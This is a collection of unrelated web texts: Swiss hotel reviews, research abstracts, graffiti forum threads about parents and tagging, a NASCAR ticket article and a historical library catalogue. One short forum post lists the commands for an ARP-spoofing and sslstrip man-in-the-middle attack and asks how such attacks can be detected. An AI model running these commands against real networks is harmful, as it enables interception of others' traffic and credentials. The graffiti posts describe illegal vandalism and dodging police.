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Real chocolate milk at the breakfast buffet
They are very generous, the service was excellent , I like everything in the hoetl. I recommend it . nothing I like everything .
Good matress. Excellent breakfast. Friendly staff. Close to station.
The location was excellent, service was very good and the breakfast buffet was terrific. Price was expensive, but all of Switzerland is expensive.
Very helpful service. Parking servce good. Very central location.
Location and staff made this a great stay even though it was short
Iliked every thing the location is perfect right in the middle of everything ,the breakfast buffet is out of this world plus they have another small buffet in the lobby 24 hours a day where you can enjoy a cup off coffee, tea , have cup of cake our a danish crossint at any time every thing is perfect
Everything! The buffet breakfast was scrumptuous, the location is excellent Nothing
Beautiful decor, friendly staff, excellent location
The friendly staff and excellent overall quality. No!, but..., If I was the hotel manager, I would place a small Swiss chocolate treat on bed pillow each day for each client.
The surrounding area is stunning. The welness facilities are really good Helpful personell Old fashioned rooms in need of some cosmetics.
The friendly staff and extensive facilities
Very difficult to find and it was very old and poorly maintained but clean. Pool and health facilities very nice and apparently newer. Food was sufficient.
The waiter by the name of "Angelo" makes you really feel welcome and at home. Marvellous landscape and perfect indoor swimming pool.
The traffic instructions by car showed in the website are quite poor. They seriously mislead me about the hotel location. I felt I was cheated.
The position of the hotel got a nice view You can here the other rooms voice during your stay at the roomthere is no privecy or sound isolated
Very nicely situated hotel, beatiful surroundings. Wellness area and outdoor pool are very nice. Convenient parking space is limited on busy days. No minibar in the room.
it was very old hotel,the room very narrow,the way toit very hard,far away.
The leaisure facilities and the location were excellent. The quality of the room furniture, carpets and wallpaper were below the expected standard
The swimming pool is good. We could relax and enjoy the day. The location and the view is amazing. Especially from the swimming pool. You can go out and see a nice view from Lugano and the lake. The hotel really needs a reform. It's a shame such a nice place be in this conditions. We only stayed 1 day, but I wouldn't recommend if you want to stay more than 1 day and needs comfort. The bedroom isn't so good, the bed, the carpet is old, smelling not so good. It's really a pitty, because the location, the view is amazing.
location, room, pool, gym, food, terrace for breakfast They gave us a room without a view although "panoramic views" were promised when we booked and confirmed in writing. Upon us complaining, the receptionist said the view was from the balcony. We had to argue and then got reassigned a new new room which was indeed very nices and spacious. However, given a price of CHF 400 per night, you do not expect to this type of attitude. The rating of poor in category (2) above reflects this experience. Note that staff in the gym and restaurant were "good" to "excellent".
Staff were fantastic and very welcoming of my two children aged 2 and 11 months. The pool area was great and we had a fantastic relaxing time. The hotel is well positioned on the hill with good views but is close enough to walk to Lugano.
Comfortable. Charming views of the nature, hills, lake and town. Near the city center. Has all comfortable SPA and swiming pool. Sauna and relax rooms. Parking charges. The breakfast no variate.
Beautiful views, close to the city center for shopping, nice outdoor pool The dinner menu and food was very average
Everything! The room was spacious and beautifully appointed, the location was excellent with breathtaking views of the lake and the staff was helpful and easy to deal with! We didn't want to leave. Not a thing
relaxing bed pillow
It is a beautiful, relaxing place. The view is spectacular!
location, arrangements, views, courtesy, service in general, great food at the restaurant, good spa and wellness facilities as well as a great place for our German shepard dog none
Room's view The location
Superb view, good breakfast, we received an upgrade for free, staff very friendly Very long walk inside the hotel to reach our room, the hotel is a 15 minutes walk from the center
Nice staff and clean and have a/c
The view is outstanding, and the design of the hotel as well. Nothing. Great vacation.
nice location and nice view, spacious breakfast place with good buffet, big shower, good beds
this is a very nice hotel one of the best 3 star hotels i have stayed in will go againe
very friendly staff, nicely renovated hotel, excellent location none
very convenient location, close to centre of town. very clean hotel. staff was kind and helpful, very efficient.
The location of hotel was excellent! We intended to travel everywhere by train and the hotel served that prupose so well Nothing we disliked, but just wished the breakfast to be a little richer than it was....
Location, friendly and helpful receptionist, nice daily suggestion for local activities We booked a double room but the bed was 2 single mattresses pushed together that slid apart during the night creating an uncomfortable hole in the middle of the bed. If you must have these 2 single mattresses then provide some way to keep them together so they do actaully represent one double bed.
during our stay for 4 nights, we felt home and every one is being very friendly and helpfull.Rooms are very confortable and clean.The breakfast was amazing:) all was great(except the noise of the train) but was not a big problem
Views of the lake from our room were fantastic, and a very short walk to the city center and the lakefront.
Charming hotel with very friendly staff and nicely renovated rooms. Good location with walking distance (3 minutes) to the train station.
Clean and comfortable, very friendly with attentive staff
I have to agree with other comments this hotel is not up to standard. 2 star rating only – how is it ever 4 stars? The whole hotel is tried, old fashioned and worn out and really needs a total refit. It is really a Holiday Inn? At the front and rear of hotel there is new building construction just started, very noisy during the day, I would say for 1 year. Hotel staff not interested in the problem.
Swimming pool, breakfast, connecting rooms. Everything.
Breakfast buffet.
The room temprature was not comfortable, very hot.
easy walking distance to key attractions and restuarants and trusted Hotel Brand. Breakfast could be better... ie.. fresh fruit, jucies
The service, very polite staff, typically Swiss. Very diversified breakfast with a diversified choice of delicious cakes. The fact that it's reasonably far from city centre should be made more clear. Despite the fact that it contains the word "Centre" in its title, it was quite far from the actual Centre, which was slightly uncomfortable since my grandparents were accompanying us.
Nice quite area, a few minutes from the lake
The breakfast The elevator was not working always!!!
i dont like the hotel. i don't stay again there.
The conceirge was excellent and informative about things to do and to see that are not in the guide books The breakfast for a 5 star hotel was a little flat. We were charged for our hire car being put away; the driveway to the hotel is narrow, nearly always congested, and is on a very steep bank. We agreed to it being put away to save the staff (or us) the hassel of parking in so difficult a place; we didn't need the car for a days or so and accepted the suggestion made by them - it should have been made plain to us at that time there was a charge of 30 CHFa day. The receptionist at check out was dismissive and didn't take this suggestion on board.
Nice room & excellent staff. Relaxing atmosphere
good service, position and breakfast The Hotel rooms have old furniture.
Watching the moon reflection on the lake, as we dtrank a glass of wine in the Hotel bar - beautiful. All perfect.
the hotel was excellent from every aspect, each of the staff from the porter till the front desk manager were very kind and excellent. It is exceptional hotel the only thing is if wireless wifi was available for free of charge instead or with the LAN connection
I like the actual residence, the fact that it was an old palace, the location has one of the most beautiful views. I did not appreciate the greeting that I had at the reception. The woman on the desk was very dry and unhelpful. I had to remind them that I have an LHW card and am entitled to certain priviledges.
Everything was nice. Swimming pool was closed.
The staff were very polite and helpful. Was exceptional value for money. Not too far to walk the centre of town and the station. The pool was also lovely.
The staff were so friendly, polite and attentive. The room was delightfully comfortable and the view of the lake and mountains is still with us!
Fantastic location. Good breakfast. Excellent helpful staff. Pool is a bit small. Very limited english language TV - not that we used it much but it would have been nice to have something to watch other than tedious CNN.
yes we were very comfortable and enjoyed clean good staff very helpful and worth the money
In general the hotel is fantastic: very friendly staff, room really big and comfortable, breakfast good, both restaurants really good but a expensive. The spa facilities very nice (a bit small). From 0-10, definitely 9
There is no line socket at the writing table. I can't connect my notebook to internet because the battery was weak. I put the notebook to bathroom table, and charge the battery for working! There are no 220V sockets in the room! I didn't can charge mobile phone and notebook, only in the bathroom. There is a big problem. The breakfast buffet was very poor. This hotel is didn't like me.
Clean, modern, great view, excellent swimming pool, great cuban bar with an excellent view, good parking, breakfast was great as well. by far the best hotel we have stayed at in europe and we stay in alot of hotels. nothing.
services and comfort just check the temperature in the room...
Great location, wonderful breakfast selection. Suite was large and great for our family.
Very good, 4 star hotel. Great spa facilities. Very clean, modern and quiet. 5 minutes drive from centre of Lugano. Fantastic breakfast. Will definitely book again for my next trip to Lugano.
the rooms are large and had two balconies, they were clean and comfortable, a very nice hotel, there was a shuttle to the railway station on request there should be a suttle to downtown Lugano, it is a long walk
good breakfast location ans very expensive
The hotel staff was extremely helpful. Rooms very neat and spacious. Breakfast very extensive and tasty. Great facilities. Close to the city with easy access. No coffee making facilities in the room but room service was fast and efficient.
The nice garden, it was very quiet in the night. I don't know more because we stay only for 1 night
Staff service level, location Some noise from ongoing construction work; rooms were cold despite central heating
Meals served for dinners at the restaurant were really superb by all means. Advanced charging of the room bill immediately upon our arrival although my credit cards were available to the hotel staff since I'd made the booking via website and this was our second stay at the hotel. That gesture of mistrust made us feel we were not welcome to the hotel.
Beautiful establishment, beautiful view, very helpful and polite staff. The kitchen closes too early, there is neither restaurant open nor room service after 11pm, so if you come back from a concert or other event after 10:30 there is no way to eat enything, even if you beg the staff for a plate of cheese or a simple snack, there is nothing available. For a hotel of such high category (and price) it is absolutely unacceptable.
All. Especially was pleased kunya.
all of these nothing
Overall the Hotel is a wonderful and very nice relaxing place. The garden, pools and space makes it an ideal destinatiuon for the weekend. Restaurant and cafe - good combination value for money. Gorgeous views arond the site. Close to Mendrisio shopping - 15 min by car. Rooms in Residence may need some renovation, or cosmetics at least.
Staff very kind and helpful. Well located in the park and not to fare from the towncenter.
Beautiful hotel with goo views of Lake Lugano. he room was a little small for the money.
It was probably the best managed hotel I have stayed in. Clean ,beautifully maintained with courteous staff. No
great hotel
Room was spacious and comfortable. General appearance was lovely. Staff was extremely polite and helpful. Very light colored carpet - showed dirt
The view, interior design, and the restaurant. I arrived at 3 pm and had to wait until 5 pm to get into my room, which I did not complain, but then the following day, I wanted to take a boat trip, and asked to extend my check out time for 30 minutes at 12:30. Then the reception replied that there is someone checking-in at 13:00, and therefore asked me to check-out before I leave for the boat at 8:30. The schedule for the boat is not my fault and where I had to wait until 5pm, I found this very unfair.
The spacious and well equiped room The personalized wellcome card and snacks that were snicked into the room during our absence. The room was tidied up whenever we left it. Breakfast (quality) was not up to the standards of a 5 star hotel Staff seamed reserved and inattentive, perhaps because we did not speak itallian. The toilett was broken, dripping/trickling water produced a constant annoying noise.
It was conveniently located; clean; quiet enough to sleep well; the room was a nice size; the staff was pretty helpful although some could be friendlier/more relaxed. I thought the breakfast didn't look upscale enough for a Swiss hotel, although the diningroom staff were helpful & friendly.
good location Internet access was limited.. in the room...
Clean bathroom and firm bed. Housekeeping came too early in the morning 8am and litlle warning before barging in.
It is not a four star hotel. Three Star with a swimming pool.
Breakfast was good and quite varied. Room was clean and appeared recently renovated. Position is great, very close to Lugano city center and yet easy to reach if you come there by car Staff quite rude and unkind, especially at the bar, with few exceptions. Air Conditioning system impossible to set at the right temperature. In general, not really what one would expect from a four-stars hotel.
Convenient way to the lake and city center Nothing
Room style was dated.
Bathroom of the room is quite nice, room itself is OK size wise and the view is fantastic. The double bed is very small, blankets are still being used in this hotel, no coffee.tea makingf facilities on the room which you would expect from a 4* hotel. No clock anywhere on the room.
You can park your car for free in front of the main entrance/main lobby. Employees at the reception desk were friendly and willing to help. The swimming pool is nice and it was great to cool down a bit in it. The location. It's a good 25min walk from downtown Lugano and from what I can remember it was mentioned "about 10min" in the hotel description. The sandwiches you can get by the bar are no tasty but are quite expensive.
The period interior, its a proper old 19th century hotel. helpful reception staff. surrounded by very busy road / car fumes. bar could stay open later in the evening - arriving on a late flight it is good to get some food and a drink before bed.
Beautiful place, stunning view on the lake from the Hotel and the wineyards from the Residence. Large and very comfortable renovated room. Sauna was under repair.
I liked everything, excellent hotel Everything was perfect, no complaints
Nice hotel, large Room, there is tow part of the hotel one is Luxury anther one in deferent location so. Clean, relax, But need new furniture Bathroom very old, old Ceramic Not clean (black between ceramic) they have to change it, You need car to transfer
Grounds were very nice. Rooms were very clean. Restaurant staff were very friendly and provided very good service. It's well maintained but a bit outdated.
The Hotel is located in very quiet place, facilities of the hotel is excellent, all staff are very friendly and kind.
service was good the hotel is situated at the top of a mountain. unfortunately most of the rooms are situated in an otherpart, down the backside of the mountain with no view at all. premises are very old.
everything was fine , the phone at the room wasnt working ! Staff is friendly but not helpful
Beautiful location, walking distance to the centre of Lugano. The Residence is separate from the actual hotel and therefore cheaper.
Exceptional 5 star quality. Unrivalled location
Very Good
Goog situated hotel 20 minutes walk along the lake to reach the centre of Lugano. Breakfast with lakeview.
The swimming pool and SPA equipment Noisy and on the bad side of the road (No direct seaside)
Great views over the lake. True to star rating.
Excellent location, rooms, and the staff. We like a lot both spa and outside sundeck. Fascinating lake view.
The spacious room & toilet. Honestly , all was Ok.
great location. exellent stuff. the spa gets 100 points. the charge of parking per day is too high. thay sholud buy new epuipment fo the gimnasium.
Quite hotel and quite city as well for relaxtion. Car parking should be free of charge as there is no public parking near the hotel.
The service was beyond reproach. Everyone was friendly and ready to help. I thought it a bit outdated. Although it has added wonderful, modern amenities (spa, pool, fitness room etc.) the hotel itself could use some refurbishing. The rooms are fine, but the lobby and all common areas do not reflect a top-level hotel.
Excellent views Hotel was split into two with the reception area on one side
very clean. no faults
The location is ideal just a couple of minutes away from the train station and funicular to the city centre. The rooms are nice and everything is clean. Great stay!
very close to train station, even it is uphill but not that bad. The wall is too thin. You can hear everything when people come in and all the talking, hard to get good sleep. The floor made of granite, made it too cold.
The staff were friendly and there was always someone to ask if you needed information. It's very handy for the station and in nice surroundings. Although the buildings are charming to look at, the walls between the rooms are paper-thin and noise from other guests in their rooms, on the stairs, and shutting doors cannot be prevented. A box of ear-plugs at reception would be a good idea.
It was beautiful, clean, and the staff was super helpful. The room was cold at night. Perhaps a heating system needs to be in place?
It was very, very close to the train station. It was decently priced. Our room had a sink. The temperature of the room was comfortable. It was noisy due to its proximity to the train station and the other guests were raucously noisy until at least midnight. (We're talking screaming, running, and generally loud conversations.) We had a crying baby next door and we were above the dinning room. The train noise started at 5am. The showers closed at either 10pm or 11pm. The beds were two twins pushed together.
WiFi in the Lobby did not work
The gorgeous view from our room 220, the garden in the back.The 100 year anniversary expo was fun. Breakfast is good. The construction on the other side of the church, hopefully it will end soon.
Convient location, friendly staff
Good staff Not air conditioned
It is located right in the pedestrian shopping area which is very convenient. since it is in a pedestrian zone, it is loud during the night. That isnt so great...
Excellent Location, very nice antique Building, very well maintained, very charming/interesting history, sentimental!! Very well thought out!
fantastica staff, good location, marvellous include breakfast
Holiday There was a renovation of af building going on, just next to the Hotel and our balcony.
Convenience for parking, shops and lake front. Lack of mini bar. No lift from garage, Television not in working order and in spite of being told that it had been repaired, it remained unusable.
location was central to shopping area and next to the lake, hotel was clean, staff were friendly rooms were dark and small, breakfast was poor selection, no wireless in rooms


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Amazement, pauses and whereabouts. The methodological path followed by a research beginner in a transnational context
Explaining the decisions taken in the methodological development of a study ensures rigor in the process of qualitative research. However, few researchers are concerned about outlining the reasons for their methodological strategy selection and the results obtained. A study on chronic illness care in a transnational community is an example where traveling down the methodological path took a different turn than originally intended. In this study the authors explain why it was necessary to adopt methodological strategies, keeping in mind the concepts of reflexivity and flexibility. Additionally, several implications are raised in the design due to the transnational characteristic of the community and its members. [Full text only in Spanish]

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Both of my parents have known for years that I write. And they encourage it. My dad even goes around to look at some of my stuff and he'll talk to me about them. Maybe he talks about placements or looks. But he thinks it's cool.
Both of my parents have known for years that I write. And they encourage it. My dad even goes around to look at some of my stuff and he'll talk to me about them. Maybe he talks about placements or looks. But he thinks it's cool.
My dad knows that i write, but not my mom i think if my mom were to find out she would be so pissed off. My dad doesn't care though hes cool about it he just always is telling me not to get caught.
i dont think my parents know what writing is. lets hope they dont find out
my mum really likes street art. but only stencils, stickers and posters. sometimes i go out with my dad and i spray stencils and do a tag. when i go out with my mum to the city and put my stickers up in all the famous alley ways. but she doesn't like me doing illegal shit which is kinda annoying. but they haven't found out my new name that i use (kawt) and they still think i only do sketches with my old name
My parents never knew I write, and I ever doubt they will find out, I'm across the country now and so if I get arrested oh well haha. My girlfriend actually likes coming out and trying it every know and then and she actually supports it, also i think her parents know and they'll actually help bail me out. But I think my mom would have a heart attack and my dad would have a week long fit haha.
My mom knows i write i told her when i started painting. she doesnt care she just wants me to not get caught
yea and they care but they cant do anything im old enough to make my own decisions and deal with the consequences
My parents would have flipped and start moderating my expenses if i still lived with them lol
haha my mum an dad know..
I'm 16, havn't actually bombed anywhere yet but they've seen my sketchbook.
They also said they would buy me paint but I have to give them the cash.
shitty R18 law against buyin paint -.-
been in minor trouble over graffiti back in 07-08 but i doubt they know or hint im still involved in it
lucky for me ive never had a run in with the law over it
i think my dad knows i write he found a marker in my pocket
i denied it, but i think he thinks i write
my mom knows she don't care as long as she don't see me do it and i don't get caught
my dad on the other hand searches me before i leave his house for markers and paint it's a pain in the ass
put the marker in your crotch. would he feel you there to search for it ? hahahahaha
that would be sad though
don't tell us what happens if you do it
my dad and mom know i paint, they can't say nothing im 22yo...but they worry as shit when i go out, cus in the slums the shit gets dangerous... when i used to go bomb at night i allway's had a gun with me, i have been shoot 3 times anda stabed 4 times in a train yard...sometimes i think "it's not worthit"
"How long do you think you'll do it?"
"Till i'm done."
it's easier to just get a friend to carry the bag out he won't search themput the marker in your crotch. would he feel you there to search for it ? hahahahaha
that would be sad though
don't tell us what happens if you do it
yer, my parents know that i have a black book, but im pree sure they dont know i tag/bomb.
i fucken hope nott, cos wenever they find out bout something illegal i done, they call the cops, fucken tight cunts.
Both my parents know I write. My dad likes it, always asks how I'm coming along with it when I see him. My mum likes the sketching aspect of it, always saying she likes my work, but hates it when I go out and spray.
My mom knows I work in a black book and regular paper, but she doesn't know about me working on walls and junk.. Don't really feel like telling her either..


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I just learn how to do a man in the middle attack with sslstrip i finally understood that using wired or wireless connection is not secure. Well I knew those danders with wlan, but I taught wired connection to be save.
Is this the "best" way to do this, or does I do something unneeded.
Cause this arpspoofing etc. is so easy to do so how can I find out if someone is doing this. Like if I'm in public WLAN. Yes, I sslstrip creates that fake certificate, but just messenger etc.Code:
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
sslstrip -a -l 8080
arpspoof -i eth0 -t (target) (gateway)
Well I can use wireshark and look if there is anything strange in ARP. is there a easier way to do it?


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FONTANA - High-priced tickets currently are the trend on the NASCAR circuit, and Auto Club Speedway is not being left behind.
The track, wishing to stay abreast of the amenities being offered around the country, will unveil the Pit Box Lounge for the Nationwide Royal Purple 300 on Saturday and the Sprint Cup Auto Club 400 on Sunday.
What makes it unusual is the two-story slide from the terrace suite to pit road. All for $899, if purchased by Friday.
The Pit Lounge is located on the terrace suite level at the entrance to pit road. It includes access to seating on the suite rooftop and a slide to the new Victory Lane Bar, located where the old victory lane used to be.
There also will be buffet meals, beverages and access to the speedway's Candy Bar.
"We're always looking to create out-of-the-box experiences for fans and partners that are unique. There's no doubt a 40-foot slide is just that," track president Gillian Zucker said.
"It's fast too. It's no kiddie slide."
Initial reports are this year's sales are double last year's premium offering.
Other items in the package include a race time pit tour, a race scanner, pre-race pit pass, access to the "Frontrunners Garage" elevated area inside Garage 2, Victory Lane access, souvenir program, speedway lanyard, Hard Card membership and preferred parking.
For the Daytona 500, the $1,575 Premium Club package included access to Daytona 500 Club banquet and lounge levels, "world class cuisine" and open bar, pre-race pass, a seat in victory lane, souvenir package and a parking pass with every two packages purchased.
At the first Phoenix race of the season earlier this month, the VIP treatment was called Octane and cost $2,400. Among the amenities were one ticket per race day, unlimited food and beverages, exclusive driver appearances, hand-rolled cigars, pit access, guided tour of the NASCAR Sprint Cup garage and souvenir gifts.
In Las Vegas, the Suite Deal for three days cost $1,199 and included a seat in a luxury suite for three days, unlimited food and beverage (beer, wine and soda), guided garage tour, pass to pre-race and driver introductions, Neon Garage access, VIP parking (one for every two tickets) and souvenir program.
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shizam hahaha i use to say that when i was like 15 yrs old
hahah same here! i feel its a priceless expression that should be back on the streets hahahah
im guessing you aint over 17..
but keep drawing..
im 17....
watta guess
It does say Maoe.
them stickers are ugly i like your hands alot better
yeah you. maybe capital letters? but dont do anything just cause of me
is it EA or CA if so make the A maybe a lil more like the C,E? :S
thats jus me though so iunno.
'll admit that just the e and a together are kind of ugly, but I think it's a little better with the whole thing
@ Libre: Not liking the teeth, but the letters are lookin' good for a throwie.
@ BigBlue: That sticker is kind of weak... heh.
way to suck
Well it was my first ever and on wet wood. Can't really expect it to be amazing
trying to shorten it up.
edit: says dkr
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On October 31, 2012, Mayor Rahm Emanuel announced his appointments to the City of Chicago Advisory Council on Veterans Affairs. These appointees represent a diverse number of community and business leaders from across the city. In November, James Flagg, RMU Veterans Affairs Representative and Admissions Counselor, was one of the newly appointed council members.
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Gundiri, M.A. and Akogun, O.B. (2000) Gastrointestinal and Urinary Parasitic Infection amongst School Children in Rundeyelu. Nigeria Journal of Parasitology, 21, 117-124.
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Incidence of Intestinal Parasites among Food Handlers (Hawkers) around the University of Nigeria Teaching Hospital Enugu, Enugu State, Nigeria
R. C. Egbuobi, M. A. Nwagbaraocha, J. N. Dike-Ndudim, H. M. Okorie, I. A. Ogamaka, L. N. Egbuobi, P. C. Enwuru, J. E. Ereh
Parasite; University; Hospital; Teaching; Sanitary; Helminthes
Open Journal of Medical Microbiology,
Vol.4 No.1,
Incidence of intestinal Parasites has been described as one of the most common problems of developing countries like Nigeria. World Health Organization estimated that 3.5 billion people worldwide are infected with some types of intestinal parasites, and as many as 450 million of them are sick as a result. This work therefore is carried out to access the carrier status of food handlers around the University of Nigeria Teaching Hospital Enugu in Enugu State of Nigeria as well as to ascertain the common offending parasite. Three hundred and six (306) stool samples were randomly collected between January and August, 2001 from food vendors occupying the zones around the Teaching Hospital which include: UNTH Road, Railway track, Prison old park and Dean's cook. The samples were transported to the University of Nigeria Teaching Hospital Parasitology Laboratory within 1 hour of production and analysed Parasitologically using Physiological saline and iodine direct mount and formal ether concentration techniques. Out of the 306 stool samples analysed, 126 representing 41.2% tested positive to parasites. Entamobe histolytica showed the highest incidence of 52.4% followed by Ascaris lumbricoidis with 23.8% and the least was Tricharis trichura with 40%. The incidence of mixed infection was 44.4%. Female food handlers were more infected 44.2% than the male food handlers 36.8%. Whereas Meat handlers were most infected 66.7% among other food handlers. From the result of the work, it can be inferredthat the incidence of intestinal parasites among food handlers around the University of Nigeria Teaching Hospital Enugu is high and this can be attributed mainly to poor sanitary condition of this area. We therefore recommend that Enugu State Government should intensify her sanitation programme especially where public foods are being handled, as well as provide enlightenment campaign for food handlers to save the lives of her citizenry.
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|Carrington, Margaret Irvin, 1831-1870. / [1869]
|Ab-sa-ra-ka, home of the Crows : being the experience of an officer's wife on the plains, and marking the vicissitudes of peril and pleasure during the occupation of the new route to Virginia City, Montana, 1866-7, and the Indian hostilities thereto ; with outlines of the natural features and resources of the land, tables of distances, maps and other aids to the traveler ; gathered from observation and other reliable sources.
|Garneau, F.X. (François Xavier), 1809-1866. / [1856]
|Abrégé de l'histoire du Canada depuis sa découverte jusqu'á 1840 : a l'usage des maisons d'education /
|Freemasons. Grand Lodge of Pennsylvania. / [1800-]
|Abstract of the proceedings of the Grand Lodge of Pennsylvania / v. 6 no.20 June 4th, 1855
|Virginia Company of London. / [1888-89]
|Abstract of the proceedings of the Virginia Company of London, 1619-1624 / n.s. v. 7
|Virginia Company of London. / [1888-89]
|Abstract of the proceedings of the Virginia Company of London, 1619-1624 / n.s. v. 8
|Bucks County (Pa.). Treasurer. / [1787]
|Account of the taxes of Bucks county.
|Chester County (Pa.). Treasurer. / [1790]
|Account of the taxes of Chester County.
|Philadelphia County (Pa.). Treasurer.
|The accounts of Isaac Snowden, Esq. : treasurer of the city and county of Philadelphia.
|Chester County (Pa.). Treasurer. / [1790]
|Accounts of the taxes of Chester County.
|Huntingdon County (Pa.). Treasurer. / [1790]
|Accounts of the taxes of Huntingdon County.
|Great Britain. Parliament. / [1818]
|Acts of Parliament of the 27th June, 1805 and the 30th June, 1808 : April 4, 1818 ; printed by order of the House of Represenatives of the United States.
|Great Britain. Parliament. / [1819]
|Acts of the Parliament of Great Britain : January 27, 1819 ; printed by order of the Senate.
|United States. Continental Congress. / [1783]
|Address and recommendations to the states /
|Stockton, T.H. (Thomas Hewlings), 1808-1868. / [1861]
|Address by Thomas H. Stockton, Chaplain U.S.H.R. : delivered in the Hall of the House of Representatives, on the day of national humiliation, fasting, and prayer, Friday, January 4, 1861.
|Turner, Samuel H. (Samuel Hulbeart), 1790-1861. / [1858]
|Address delivered before the alumni of the General Theological Seminary : in St. Peter's Church, on Friday evening, October 8th, 1858 /
|Kennedy, John Pendleton, 1795-1870. / [1851]
|Address delivered before the Maryland Institute for the Promotion of the Mechanic Arts : on the occasion of the opening of the fourth annual exhibition, on the 21st October, 1851, being the first exhibition in the new hall of the institute /
|Elder, William, 1806-1885. / [1839]
|Address delivered before the Penn Institute at the first meeting after its organization, February 28, 1839 /
|Baird, Thomas H. (Thomas Harlan), 1787-1866. / [1850]
|Address delivered before the Washington Literary Institute, on the 13th day of March, 1848 /
|Quincy, Josiah, 1772-1864. / [1856]
|Address illustrative of the nature and power of the slave states, and the duties of the free states : delivered at the request of the inhabitants of the town of Quincy, Mass., on Thursday, June 5, 1856 /
|Carter, John P., A.M. / [1857]
|Address of Rev. John P. Carter, A.M., delivered at his installation as president of the Ashmun Institute, December 31, 1856.
|Central Clay Club (Allegheny, Pa.) / [1844]
|Address of the executive committee of the Central Clay Club of Allegheny County.
|Republican General Committee of Young Men of the City and County of New-York. / [1828]
|Address of the Republican General Committee of Young Men of the City and County of New-York, friendly to the election of Gen: Andrew Jackson to the presidency, to the Republican electors of the state of New-York.
|Republican Party (Pa. : 1792-1828) / [1808]
|Address of the State Committee of Correspondence, to the citizens of Pennsylvania.
|Massachusetts. General Court. / [1848]
|Address of the Whigs of the Legislature of Massachusetts to the Whigs of the Union.
|Black, Joh, 1752-1813. / [1800]
|Address to the Federal Republicans of Burlington County /
|Breckinridge, John C. (John Cabell), 1821-1875. / [1848]
|Address to the Franklinian Society.
|Halsted, Oliver S. (Oliver Spencer), 1792-1877. / [1844]
|Address upon the character of the late the Hon. Isaac H. Williamson : delivered before the bar of New-Jersey, September 3d, 1844 /
|Lapham, Increase Allen, 1811-1875. / [1866]
|Addresses of Hon. I. A. Lapham, LL.D., and Hon. Edward Salomon : at the dedication of the rooms in the south wing of the Capitol for the State Historical Society of Wisconsin, Wednesday evening, January 24, 1866, published by vote of the Legislature.
|Chillicothe Association for Promoting Morality and Good Order. / [1815]
|Addresses of the Chillicothe association : for promoting morality and good order, to their fellow-citizens, on profane swearing, the violation of the Sabbath, and the intemperate use of ardent spirits.
|Ruxton, George Federick Augustus, 1820-1848. / [1848]
|Adventures in Mexico and the Rocky Mountains / v.1
|Ruxton, George Federick Augustus, 1820-1848. / [1848]
|Adventures in Mexico and the Rocky Mountains / v.2
|Tomkins, Simon. / [1868?]
|The adventures of a strolling player : an autobiography /
|Smith, John 1580-1631. / [1865]
|Advertisements for the unexperienced planters of New England, or anywhere : or, the pathway to erect a plantation /
|Green, Ashbel, 1762-1848. / [1813]
|Advice and exhortation : addressed to the people of the Second Presbyterian Congregation in Philadelphia on resigning the pastoral charge of that congregation /
|Bolles, John A. (John Augustus) 1809-1878. / [1842]
|The affairs of Rhode Island : being a review of President Wayland's "discourse" ; a vindication of the sovereignty of the people, and a refutation of the doctrines and doctors of the despotism /
|Thwaites, Reuben Gold, 1853-1913. / [1900, c1897]
|Afloat on the Ohio : an historical pilgrimage of a thousand miles in a skiff, from Redstone to Cairo /
|Buxton, Thomas Fowell, Sir, 1786-1845. / [1839]
|The African slave trade /
|Sheppard, Moses. / [1854]
|African slave trade in Jamaica : and comparative treatment of slaves ; read before the Maryland Historical Society, October, 1854.
|Paine, Thomas, 1737-1809. / [1797?]
|Agrarian justice, opposed to agrarian law, and to agrarian monopoly : being a plan for meliorating the condition of man, by creating in every nation, a national fund, to pay to every person, when arrived at the age of twenty-one years, the sum of fifteen pounds sterling, to enable him or her to begin the world! And also, ten pounds sterling per annum during life to every person now living of the age of fifty years, and to all others when they shall arrive at the age, to enable them to live in old age without wretchedness, and to enable them to live in old age without wretchedness, and go decently out of the world /
|Kenney, Lucy. / [1830?]
|Alexander the great, or, the learned camel.
|United States. / [1815]
|All the treaties between the United States and Great Britain : from the definitive treaty of peace, signed at Paris, 1783: to the treaty of peace, signed at Ghent, 1814 /
|Babbitt, E.L. / [1855]
|The Allegheny pilot : containing a complete chart of the Allegheny River showing the islands and bars and low water channel, from Warren to Pittsburgh, with directions for navigating the same with rafts, flat-boats, etc. ... Also a variety of historical matter, containing reminiscences of places along the river and many incidents which transpired in the early history of the country, both civil and military, and an abridged history of the aborigines of the country through which the river passes, with biographical sketches ... Also, a table of distances for all ... principal western navigable rivers /
|Krebs, John M. (John Michael), 1804-1867. / [C. Scribner,]
|The American citizen : a discourse on the nature and extent of our religious subjection to the government under which we live: including an inquiry into the Scriptural authority of that provision of the Constitution of the United States, which requires the surrender of fugitive slaves /
|Donaldson, Thomas, 1815-1877. / [1849]
|American colonial history : an address /
|Goddard, S. A. (Samuel Aspinwall), 1796-1886. / [1870]
|The American rebellion : letters on the American rebellion /
|Spears, John Randolph, 1850-1936. / [1900]
|The American slave-trade : an account of its origin, growth and suppression /
|Boardman, Henry A. (Henry Augustus), 1808-1880. / [1851]
|The American union: a discourse delivered on Thursday, December 12, 1850, the day of the annual thanksgiving in Pennsylvania, and repeated on Thursday, December 19, in the Tenth Presbyterian Church, Philadelphia /
|Duché, Jacob, 1738-1798. / [1775]
|The American vine : a sermon preached in Christ-Church, Philadelphia, before the honourable Continental Congress, July 20th, 1775 /
|Armand, 1806-1889. / [1858]
|Amerikanische Jagd- und Reiseabenteuer aus meinem Leben in den westlichen Indianergebieten /
|An abstract of the debate in the House of Represenatives of the United States, on the General Appropriation bill, for 1831, containing the whole of Mr. Burges's two speeches on the subject.
|Pike, Zebulon Montgomery, 1779-1813. / [1810]
|An account of expeditions to the sources of the Mississippi, and through the western parts of Louisiana, to the sources of the Arkansaw, Kans, La Platte, and Pierre Jaun, rivers : performed by order of the government of the United States during the years 1805, 1806, and 1807, and a tour through the interior parts of New Spain, when conducted through these provinces, by order of the captain-general, in the year 1807 /
|United States. President (1801-1809 : Jefferson) / [1803]
|An account of Louisiana : being an abstract of documents, in the offices of the Departments of State and of the Treasury.
|Thomas, Gabriel. / [1903]
|An account of Pennsylvania and West New Jersey /
|Newlin, W.H. (William Henry). / [1870]
|An account of the escape of six federal soldiers from prison at Danville, Va. : their travels by night through the enemy's country to the Union pickets at Gauley Bridge, West Virginia, in the winter of 1863-64 /
|Byfield, Nathanael, 1653-1733. / [1865]
|An account of the late revolution in New England /
|Rush, Benjamin, 1746-1813. / [1875]
|An account of the manners of the German inhabitants of Pennsylvania : written in 1789 /
